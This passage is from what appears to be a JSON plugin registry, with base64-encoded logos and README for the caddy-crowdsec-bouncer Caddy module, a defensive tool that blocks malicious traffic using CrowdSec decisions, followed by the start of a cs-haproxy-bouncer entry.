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", "url": "https://github.com/hslatman/caddy-crowdsec-bouncer", "description": "A Caddy module that blocks malicious traffic based on decisions made by CrowdSec.", "stars": 41, "downloads": 0, "readme_content": "IyBDcm93ZFNlYyBCb3VuY2VyIGZvciBDYWRkeQoKQSBbQ2FkZHldKGh0dHBzOi8vY2FkZHlzZXJ2ZXIuY29tLykgbW9kdWxlIHRoYXQgYmxvY2tzIG1hbGljaW91cyB0cmFmZmljIGJhc2VkIG9uIGRlY2lzaW9ucyBtYWRlIGJ5IFtDcm93ZFNlY10oaHR0cHM6Ly9jcm93ZHNlYy5uZXQvKS4KCiMjIERlc2NyaXB0aW9uCgpfX1RoaXMgcmVwb3NpdG9yeSBpcyBjdXJyZW50bHkgYSBXSVAuIFRoaW5ncyBtYXkgY2hhbmdlIGEgYml0Ll9fCgpDcm93ZFNlYyBpcyBhIGZyZWUgYW5kIG9wZW4gc291cmNlIHNlY3VyaXR5IGF1dG9tYXRpb24gdG9vbCB0aGF0IHVzZXMgbG9jYWwgbG9ncyBhbmQgYSBzZXQgb2Ygc2NlbmFyaW9zIHRvIGluZmVyIG1hbGljaW91cyBpbnRlbnQuIApJbiBhZGRpdGlvbiB0byBvcGVyYXRpbmcgbG9jYWxseSwgYW4gb3B0aW9uYWwgY29tbXVuaXR5IGludGVncmF0aW9uIGlzIGFsc28gYXZhaWxhYmxlLCB0aHJvdWdoIHdoaWNoIGNyb3dkLXNvdXJjZWQgSVAgcmVwdXRhdGlvbiBsaXN0cyBhcmUgZGlzdHJpYnV0ZWQuCgpUaGUgYXJjaGl0ZWN0dXJlIG9mIENyb3dkU2VjIGlzIHZlcnkgbW9kdWxhci4KQXQgaXRzIGNvcmUgaXMgdGhlIENyb3dkU2VjIEFnZW50LCB3aGljaCBrZWVwcyB0cmFjayBvZiBhbGwgZGF0YSBhbmQgcmVsYXRlZCBzeXN0ZW1zLgpCb3VuY2VycyBhcmUgcGllY2VzIG9mIHNvZnR3YXJlIHRoYXQgcGVyZm9ybSBzcGVjaWZpYyBhY3Rpb25zIGJhc2VkIG9uIHRoZSBkZWNpc2lvbnMgb2YgdGhlIEFnZW50LgoKVGhpcyByZXBvc2l0b3J5IGNvbnRhaW5zIGEgY3VzdG9tIENyb3dkU2VjIEJvdW5jZXIgdGhhdCBjYW4gYmUgZW1iZWRkZWQgYXMgYSBDYWRkeSBtb2R1bGUuCkl0IGNvbnNpc3RzIG9mIHRoZSBmb2xsd2luZyB0aHJlZSBtYWluIHBpZWNlczoKCiogQSBDYWRkeSBBcHAKKiBBIENhZGR5IEhUVFAgSGFuZGxlcgoqIEEgQ2FkZHkgW0xheWVyIDRdKGh0dHBzOi8vZ2l0aHViLmNvbS9taG9sdC9jYWRkeS1sNCkgQ29ubmVjdGlvbiBNYXRjaGVyCgpUaGUgQXBwIGlzIHJlc3BvbnNpYmxlIGZvciBjb21tdW5pY2F0aW5nIHdpdGggYSBDcm93ZFNlYyBBZ2VudCB2aWEgdGhlIENyb3dkU2VjICpMb2NhbCBBUEkqIGFuZCBrZWVwaW5nIHRyYWNrIG9mIHRoZSBkZWNpc2lvbnMgb2YgdGhlIEFnZW50LgpUaGUgSFRUUCBIYW5kbGVyIGNoZWNrcyBjbGllbnQgSVBzIG9mIGluY29taW5nIHJlcXVlc3RzIGFnYWluc3QgdGhlIGRlY2lzaW9ucyBzdG9yZWQgYnkgdGhlIEFwcC4KVGhpcyB3YXksIG11bHRpcGxlIGluZGVwZW5kZW50IEhUVFAgSGFuZGxlcnMgb3IgQ29ubmVjdGlvbiBNYXRjaGVycyBjYW4gdXNlIHRoZSBzdG9yYWdlIGV4cG9zZWQgYnkgdGhlIEFwcC4KVGhlIEFwcCBjYW4gYmUgY29uZmlndXJlZCB0byB1c2UgZWl0aGVyIHRoZSBTdHJlYW1Cb3VuY2VyLCB3aGljaCBnZXRzIGRlY2lzaW9ucyB2aWEgYSBIVFRQIHBvbGxpbmcgbWVjaGFuaXNtLCBvciB0aGUgTGl2ZUJvdW5jZXIsIHdoaWNoIHNlbmRzIGEgcmVxdWVzdCBvbiBldmVyeSBpbmNvbWluZyBIVFRQIHJlcXVlc3Qgb3IgTGF5ZXIgNCBjb25uZWN0aW9uIHNldHVwLgoKIyMgVXNhZ2UKCkdldCB0aGUgbW9kdWxlCgpgYGBiYXNoCiMgZ2V0IHRoZSBodHRwIGhhbmRsZXIKZ28gZ2V0IGdpdGh1Yi5jb20vaHNsYXRtYW4vY2FkZHktY3Jvd2RzZWMtYm91bmNlci9odHRwCgojIGdldCB0aGUgbGF5ZXI0IGNvbm5lY3Rpb24gbWF0Y2hlciAob25seSByZXF1aXJlZCBpZiB5b3UgbmVlZCBzdXBwb3J0IGZvciBUQ1AvVURQIGxldmVsIGJsb2NraW5nKQpnbyBnZXQgZ2l0aHViLmNvbS9oc2xhdG1hbi9jYWRkeS1jcm93ZHNlYy1ib3VuY2VyL2xheWVyNApgYGAKCkNyZWF0ZSBhIChjdXN0b20pIENhZGR5IHNlcnZlciAob3IgdXNlICp4Y2FkZHkqKQoKYGBgZ28KcGFja2FnZSBtYWluCgppbXBvcnQgKAogIGNtZCAiZ2l0aHViLmNvbS9jYWRkeXNlcnZlci9jYWRkeS92Mi9jbWQiCiAgXyAiZ2l0aHViLmNvbS9jYWRkeXNlcnZlci9jYWRkeS92Mi9tb2R1bGVzL3N0YW5kYXJkIgogIC8vIGltcG9ydCB0aGUgaHR0cCBoYW5kbGVyCiAgXyAiZ2l0aHViLmNvbS9oc2xhdG1hbi9jYWRkeS1jcm93ZHNlYy1ib3VuY2VyL2h0dHAiCiAgLy8gaW1wb3J0IHRoZSBsYXllcjQgbWF0Y2hlciAoaW4gY2FzZSB5b3Ugd2FudCB0byBibG9jayBjb25uZWN0aW9ucyB0byBsYXllcjQgc2VydmVycyB1c2luZyBDcm93ZFNlYykKICBfICJnaXRodWIuY29tL2hzbGF0bWFuL2NhZGR5LWNyb3dkc2VjLWJvdW5jZXIvbGF5ZXI0IgopCgpmdW5jIG1haW4oKSB7CiAgY21kLk1haW4oKQp9CmBgYAoKRXhhbXBsZSBDYWRkeWZpbGU6CgpgYGAKewogICAgZGVidWcKICAgIGNyb3dkc2VjIHsKICAgICAgICBhcGlfdXJsIGh0dHA6Ly9sb2NhbGhvc3Q6ODA4MAogICAgICAgIGFwaV9rZXkgPGFwaV9rZXk+CiAgICAgICAgdGlja2VyX2ludGVydmFsIDE1cwogICAgICAgICNkaXNhYmxlX3N0cmVhbWluZwogICAgICAgICNlbmFibGVfaGFyZF9mYWlscwogICAgfQp9Cgpsb2NhbGhvc3QgewogICAgcm91dGUgewogICAgICAgIGNyb3dkc2VjCiAgICAgICAgcmVzcG9uZCAiQWxsb3dlZCBieSBDcm93ZFNlYyEiCiAgICB9Cn0KYGBgCgpDb25maWd1cmF0aW9uIHVzaW5nIGEgQ2FkZHlmaWxlIGlzIG9ubHkgc3VwcG9ydGVkIGZvciBIVFRQIGhhbmRsZXJzLgpZb3UnbGwgYWxzbyBuZWVkIHRvIHVzZSBhIHJlY2VudCB2ZXJzaW9uIG9mIENhZGR5IChpLmUuIDIuNC54IGFuZCBuZXdlcikgYW5kIEdvIDEuMTYgKG9yIG5ld2VyKS4KSW4gY2FzZSB5b3Ugd2FudCB0byB1c2UgdGhlIENyb3dkU2VjIGJvdW5jZXIgb24gVENQIG9yIFVEUCBsZXZlbCwgeW91J2xsIG5lZWQgdG8gY29uZmlndXJlIENhZGR5IHVzaW5nIHRoZSBuYXRpdmUgSlNPTiBmb3JtYXQuCkFuIGV4YW1wbGUgY29uZmlndXJhdGlvbiBpcyBzaG93biBiZWxvdzoKCmBgYGpzb24KeyAgIAogICAgImFwcHMiOiB7CiAgICAgICJjcm93ZHNlYyI6IHsKICAgICAgICAiYXBpX2tleSI6ICI8aW5zZXJ0X2Nyb3dkc2VjX2xvY2FsX2FwaV9rZXlfaGVyZT4iLAogICAgICAgICJhcGlfdXJsIjogImh0dHA6Ly8xMjcuMC4wLjE6ODA4MC8iLAogICAgICAgICJ0aWNrZXJfaW50ZXJ2YWwiOiAiMTBzIiwKICAgICAgICAiZW5hYmxlX3N0cmVhbWluZyI6IHRydWUsCiAgICAgICAgImVuYWJsZV9oYXJkX2ZhaWxzIjogZmFsc2UsCiAgICAgIH0sCiAgICAgICJodHRwIjogewogICAgICAgICJodHRwX3BvcnQiOiA5MDgwLAogICAgICAgICJodHRwc19wb3J0IjogOTQ0MywKICAgICAgICAic2VydmVycyI6IHsKICAgICAgICAgICJleGFtcGxlIjogewogICAgICAgICAgICAibGlzdGVuIjogWwogICAgICAgICAgICAgICIxMjcuMC4wLjE6OTQ0MyIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInJvdXRlcyI6IFsKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAiZ3JvdXAiOiAiZXhhbXBsZS1ncm91cCIsCiAgICAgICAgICAgICAgICAibWF0Y2giOiBbCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAicGF0aCI6IFsKICAgICAgICAgICAgICAgICAgICAgICIvKiIKICAgICAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIF0sCiAgICAgICAgICAgICAgICAiaGFuZGxlIjogWwogICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgImhhbmRsZXIiOiAiY3Jvd2RzZWMiCiAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAiaGFuZGxlciI6ICJzdGF0aWNfcmVzcG9uc2UiLAogICAgICAgICAgICAgICAgICAgICJzdGF0dXNfY29kZSI6ICIyMDAiLAogICAgICAgICAgICAgICAgICAgICJib2R5IjogIkhlbGxvIFdvcmxkISIKICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICJoYW5kbGVyIjogImhlYWRlcnMiLAogICAgICAgICAgICAgICAgICAgICJyZXNwb25zZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXQiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICJTZXJ2ZXIiOiBbImNhZGR5LWNzLWJvdW5jZXItZXhhbXBsZS1zZXJ2ZXIiXQogICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgImxvZ3MiOiB7fQogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfSwKICAgICAgImxheWVyNCI6IHsKICAgICAgICAic2VydmVycyI6IHsKICAgICAgICAgICJodHRwc19wcm94eSI6IHsKICAgICAgICAgICAgImxpc3RlbiI6IFsibG9jYWxob3N0Ojg0NDMiXSwKICAgICAgICAgICAgInJvdXRlcyI6IFsKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAibWF0Y2giOiBbCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAiY3Jvd2RzZWMiOiB7fSwKICAgICAgICAgICAgICAgICAgICAidGxzIjoge30KICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgXSwKICAgICAgICAgICAgICAgICJoYW5kbGUiOiBbCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAiaGFuZGxlciI6ICJwcm94eSIsCiAgICAgICAgICAgICAgICAgICAgInVwc3RyZWFtcyI6IFsKICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgImRpYWwiOiBbImxvY2FsaG9zdDo5NDQzIl0KICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICAgIF0KICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0sCiAgICB9CiAgfQpgYGAKClJ1biB0aGUgQ2FkZHkgc2VydmVyCgpgYGBiYXNoCiMgd2l0aCBhIENhZGR5ZmlsZQpnbyBydW4gbWFpbi5nbyBydW4gLWNvbmZpZyBDYWRkeWZpbGUgCgojIHdpdGggSlNPTiBjb25maWd1cmF0aW9uCmdvIHJ1biBtYWluLmdvIHJ1biAtY29uZmlnIGNvbmZpZy5qc29uCmBgYAoKIyMgRGVtbwoKVGhpcyByZXBvc2l0b3J5IGFsc28gY29udGFpbnMgYW4gZXhhbXBsZSB1c2luZyBEb2NrZXIuClN0ZXBzIHRvIHJ1biB0aGlzIGRlbW8gYXJlIGFzIGZvbGxvd3M6CgpgYGBiYXNoCiMgcnVuIENyb3dkU2VjIGNvbnRhaW5lcgokIGRvY2tlci1jb21wb3NlIHVwIC1kIGNyb3dkc2VjCgojIGFkZCB0aGUgQ2FkZHkgYm91bmNlciwgZ2VuZXJhdGluZyBhbiBBUEkga2V5CiQgZG9ja2VyLWNvbXBvc2UgZXhlYyBjcm93ZHNlYyBjc2NsaSBib3VuY2VycyBhZGQgY2FkZHktYm91bmNlcgoKIyBjb3B5IGFuZCBwYXN0ZSB0aGUgQVBJIGtleSBpbiB0aGUgLi9kb2NrZXIvY29uZmlnLmpzb24gZmlsZQojIGJlbG93IGlzIHRoZSBnaXQgZGlmZiBhZnRlciBjaGFuZ2luZyB0aGUgYXBwcm9wcmlhdGUgbGluZToKJCBnaXQgZGlmZgoKLSAiYXBpX2tleSI6ICI8YXBpX2tleT4iLAorICJhcGlfa2V5IjogIjllNGFjOTRjZjlhZWJhYTM2MjVhMWQ1MTk1MTIzMGE5IiwKCiMgcnVuIENhZGR5OyBhdCBmaXJzdCBydW4gYSBjdXN0b20gYnVpbGQgd2lsbCBiZSBjcmVhdGVkIHVzaW5nIHhjYWRkeQokIGRvY2tlci1jb21wb3NlIHVwIC1kIGNhZGR5CgojIHRhaWwgdGhlIGxvZ3MKJCBkb2NrZXItY29tcG9zZSBsb2dzIC10ZgpgYGAKCllvdSBjYW4gdGhlbiBhY2Nlc3MgaHR0cHM6Ly9sb2NhbGhvc3Q6OTQ0MyBhbmQgaHR0cHM6Ly9sb2NhbGhvc3Q6ODQ0My4KVGhlIGxhdHRlciBpcyBhbiBleGFtcGxlIG9mIHVzaW5nIHRoZSBbTGF5ZXIgNCBBcHBdKGh0dHBzOi8vZ2l0aHViLmNvbS9taG9sdC9jYWRkeS1sNCkgYW5kIHdpbGwgc2ltcGx5IHByb3h5IHRvIHBvcnQgOTQ0MyBpbiB0aGlzIGNhc2UuIAoKIyMgUmVtb3RlIElQcwoKVGhlIENhZGR5IEhUVFAgaGFuZGxlciByZWxpZXMgb24gdGhlIGBSZW1vdGVBZGRyYCBvZiB0aGUgYCpodHRwLlJlcXVlc3RgIHRvIGRldGVybWluZSB0aGUgc291cmNlIElQIGFkZHJlc3MuIApUaGF0IElQIGlzIHRoZW4gdXNlZCB0byBjaGVjayBhZ2FpbnN0IHRoZSBDcm93ZFNlYyBkZWNpc2lvbnMgdG8gc2VlIGlmIGl0J3MgYWxsb3dlZCBpbiBvciBub3QuClRoZXNlIGRheXMgbWFueSBzeXN0ZW1zIGFjdHVhbGx5IHNpdCBiZWhpbmQgYSBwcm94eSwgYSBDRE4gb3Igc29tZXRoaW5nIGRpZmZlcmVudCwgd2hpY2ggbWVhbnMgdGhhdCB0aGUgSVAgb2YgdGhlIGNsaWVudCByZXF1ZXN0aW5nIGEgcmVzb3VyY2UgaXMgbWFza2VkIGJ5IHRoZSBzeXN0ZW0gdGhhdCBzaXRzIGJldHdlZW4gdGhlIGNsaWVudCBhbmQgdGhlIHNlcnZlci4KClRvIGVuc3VyZSB0aGF0IHRoZSBhY3R1YWwgY2xpZW50IElQIGlzIHVzZWQgdG8gKGRpcylhbGxvdyBhY2Nlc3MsIHlvdSBjYW4gdXNlIHRoZSBodHRwczovL2dpdGh1Yi5jb20va2lyc2NoMzMvcmVhbGlwIENhZGR5IG1vZHVsZS4KSXQgY2FuIGJlIGNvbmZpZ3VyZWQgdG8gcmVwbGFjZSB0aGUgYFJlbW90ZUFkZHJgIG9mIHRoZSBpbmNvbWluZyByZXF1ZXN0IHdpdGggYSB2YWx1ZSBmcm9tIGEgaGVhZGVyIChzdWNoIGFzIHRoZSBgWC1Gb3J3YXJkZWQtRm9yYCBoZWFkZXIpLCByZXN1bHRpbmcgaW4gdGhlIGFjdHVhbCBjbGllbnQgSVAgYmVpbmcgc2V0IGluIHRoZSBSZW1vdGVBZGRyIHByb3BlcnR5LiAKVGhlIGByZWFsaXBgIGhhbmRsZXIgc2hvdWxkIGJlIGNvbmZpZ3VyZWQgdG8gZXhlY3V0ZSBiZWZvcmUgdGhlIGBjcm93ZHNlY2AgaGFuZGxlciwgc28gdGhhdCB0aGUgYFJlbW90ZUFkZHJgIGhhcyBiZWVuIHVwZGF0ZWQgYmVmb3JlIHRoZSBgY3Jvd2RzZWNgIGhhbmRsZXIgZXhlY3V0ZXMuCllvdXIgZXhhY3QgY29uZmlndXJhdGlvbiBkZXBlbmRzIG9uIHRoZSAoY29uZmlndXJhdGlvbiBvZiB0aGUpIHN5c3RlbSB0aGF0IGV4aXN0cyBiZXR3ZWVuIHRoZSBjbGllbnQgYW5kIHlvdXIgc2VydmVyLgoKIyMgVGhpbmdzIFRoYXQgQ2FuIEJlIERvbmUKCiogQWRkIGludGVncmF0aW9uIHRlc3RzIGZvciB0aGUgSFRUUCBhbmQgTDQgaGFuZGxlcnMKKiBUZXN0cyB3aXRoIElQdjYKKiBUZXN0IHdpdGggKnByb2plY3QgY29ubmNlcHQqIChDYWRkeSBsYXllciA0IGFwcDsgVENQIHNlZW1zIHRvIHdvcms7IFVEUCB0byBiZSB0ZXN0ZWQpCiogQWRkIGNhcHRjaGEgYWN0aW9uIChjdXJyZW50bHkgd29ya3MgdGhlIHNhbWUgYXMgYSBiYW4pPwoqIEFkZCBzdXBwb3J0IGZvciBjdXN0b20gYWN0aW9ucyAoZGVmYXVsdHMgdG8gYmxvY2tpbmcgYWNjZXNzIG5vdyk/CiogQWRkIENhZGR5IG1ldHJpY3MgaW50ZWdyYXRpb24/CiogQWRkIENhZGR5IHByb2ZpbGluZyBpbnRlZ3JhdGlvbj8KKiBDYWNoaW5nIHRoZSBMaXZlQm91bmNlciAoZm9yIHRoZSBkdXJhdGlvbiBvZiB0aGUgZGVjaXNpb24pPwoqIC4uLgo=", "status": "stable", "version": "v0.2.0", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/hslatman/caddy-crowdsec-bouncer/tarball/v0.2.0", "asset_url": "https://api.github.com/repos/hslatman/caddy-crowdsec-bouncer/tarball/v0.2.0" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/hslatman/caddy-crowdsec-bouncer/zipball/v0.2.0", "asset_url": "https://api.github.com/repos/hslatman/caddy-crowdsec-bouncer/zipball/v0.2.0" } ] }, { "name": "cs-haproxy-bouncer", "author": "hellracer", "logo": "iVBORw0KGgoAAAANSUhEUgAAAQQAAAEECAYAAADOCEoKAAAgAElEQVR4Xuy9B7gdVbk+/q3ps3svp9ecdBICCYQSepWOFEFQBMRyvV6xK1dFUFSwYgEUsYCgoILSa6gJIYXkkHr62efs3veePrP+z9pJMGDKSaLe358z6+F5eHL2mpm13rXmnW99FYHdbARsBGwEdiCAbCRsBGwEbAR2ImATgr0XbARsBN5GwCYEezPYCNgI2IRg7wEbARuBf0bAlhDsXWEjYCNgSwj2HrARsBGwJQR7D9gI2AjsBQH7yGBvDxsBGwH7yGDvARsBGwH7yGDvARsBGwH7yGDvARsBG4GpIGDrEKaCkt3HRmCaIGATwjRZaHuaNgJTQcAmhKmgZPexEZgmCNiEME0W2p6mjcBUELAJYSoo2X1sBKYJAjYhTJOFtqdpIzAVBGxCmApKdh8bgWmCgE0I02Sh7WnaCEwFAZsQpoKS3cdGYJogYBPCNFloe5o2AlNBwCaEqaBk97ERmCYI2IQwTRbanqaNwFQQsAlhKijZfWwEpgkCNiFMk4W2p2kjMBUEbEKYCkp2HxuBaYKATQjTZKHtadoITAUBmxCmgpLdx0ZgmiBgE8I0WWh7mjYCU0HAJoSpoGT3sRGYJgjYhDBNFtqepo3AVBCwCWEqKNl9bASmCQI2IUyThbanaSMwFQRsQpgKSnYfG4FpgoBNCNNkoe1p2ghMBQGbEKaCkt3HRmCaIGATwjRZaHuaNgJTQcAmhKmgZPexEZgmCNiEME0W2p6mjcBUELAJYSoo2X1sBKYJAjYhTJOFJtMcKeHOjAJdtKVotKmpC1q9r+9p+mNZ3JQylVkcpqssh2tzgvzGaQTVtJ2qTQjvgaXHGCOEEN45lW0Y870Iqe+e2l0rJn/zyqh8gWBqxZlN3IufPq77sj1N/4FVyVuWD+Y+RFG0FXPpq796xiFnTQWqd49lKtfYff7fQcAmhP931uKARjKcycQk8MUdplnUKZWaEfUNbduG+d7efyaE214ce/zVrHia2zSgO2K8eMNxrcv29NBfr8r+8pmR6kcABOj2Sq/eeErPUbvrOzw8LOiUowlYH2+y2KQtxeiNeMcQQsYBTci+6P8UAZsQ/k/hP/iHP/LG+C2rJuTLgMJa3EGv/9gJ3RchhPTd3fn3K4e/8/jm6uc9FEr1tDlXXr+s69w9jeAPrye+9fiW9GdMi+fnNVN/+cKJsy7YVQrZ9boHXxm8bXVWuxAhmprpo59a1hH8bHu7r3jws7Pv8J9GwCaE/zTi/+Ln/WpF6snHhwqnAMPCTA81+tE53KzW1lZ5d4/pTxQPWT1WvDzq829AlizMC8Cfm5qacu/um81m3YM5/cg874kWc7XZrRHupWUdgcd2d0/S93frC4+/lqWPohEFC7zq2ssOaz+rNeSY+BdP1b7dfwABmxD+AyD/Ox/x29dG739qpHQxpinodlAjHzm6+dA2r7cGACZCyNr12ePjWETeqqPF48ljjOlksuqX9Ex7T3vPatIvJ0nNxUwm2tPevn6nyJ9IVII8r2rhcLi667126grGMRYfem7jw2uycDJDI5jjMV48b0HXRV1RV/rfOW/73v8eBGxC+Pfg+i+561QUdE+uGP7SBoW5jBWYmkuu1k7pCVzp